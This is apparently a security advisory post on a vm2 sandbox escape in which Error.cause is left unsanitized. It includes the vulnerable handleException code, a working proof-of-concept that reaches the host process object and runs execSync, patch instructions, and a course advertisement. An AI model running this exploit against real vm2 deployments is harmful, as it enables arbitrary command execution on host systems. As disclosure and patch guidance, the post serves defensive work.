Listen to this Post
The vulnerability resides in the `handleException()` function within lib/setup-sandbox.js. This function is responsible for recursively sanitizing error objects that cross the sandbox boundary, preventing sandboxed code from accessing powerful host objects (like process) through error references. The function correctly sanitizes sub-errors for `SuppressedError` (.error, .suppressed) and `AggregateError` (.errors[]). However, it completely fails to inspect the `Error.cause` property, which was introduced in ES2022 (Node.js 16.9+). The `handleException` function returns the error object directly at line 958 without ever checking for a `.cause` property. This implementation oversight directly contradicts the project’s own security documentation, `docs/ATTACKS.md` (Defense Invariant 3, line 54), which explicitly claims that `Error.cause` is sanitized. An attacker with the ability to execute code within the vm2 sandbox can exploit this. When an embedder-exposed host function throws an error with a `.cause` referencing a powerful host object like process, the sandboxed code can catch this error and traverse the unsanitized `.cause` reference. This grants the attacker direct, programmatic access to the host’s `process` object, enabling them to spawn child processes, read and write files, and execute arbitrary system commands, leading to a complete sandbox escape and Remote Code Execution (RCE).
DailyCVE Form:
Platform: Node.js vm2
Version: <=3.11.5
Vulnerability: Sandbox Escape
Severity: CRITICAL
date: 2026-08-17
Prediction: 2026-08-14
What Undercode Say:
Check installed vm2 version npm list vm2 Upgrade to patched version npm install [email protected]
// Vulnerable code snippet demonstrating the missing sanitization
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
// ... cycle detection ...
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
// sanitizes e.errors[] ...
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e; // .cause is NEVER checked
}
Exploit: (Educational Purposes!)
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
// Host function throws an error with 'process' as the cause
throw new Error('Sandbox escape!', { cause: process });
}
}
});
const result = vm.run(<code>try {
hostFn();
} catch (e) {
// The .cause is not sanitized, providing direct host access
const proc = e.cause;
// Execute arbitrary command on the host
proc.mainModule.require('child_process').execSync('id').toString();
}</code>);
console.log(result);
// Output: uid=502(user) gid=20(staff) groups=20(staff),...
Protection:
The vulnerability is fixed in vm2 version 3.11.6. All users must upgrade immediately. The fix adds `.cause` sanitization to the `handleException` function to ensure it applies to all error types.
Impact:
Successful exploitation allows a complete sandbox escape. An attacker gains full access to the host `process` object, enabling arbitrary command execution, reading and writing of sensitive files, and further compromise of the underlying infrastructure. The vulnerability requires no user interaction and has a CVSS score of 9.9 (CRITICAL).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

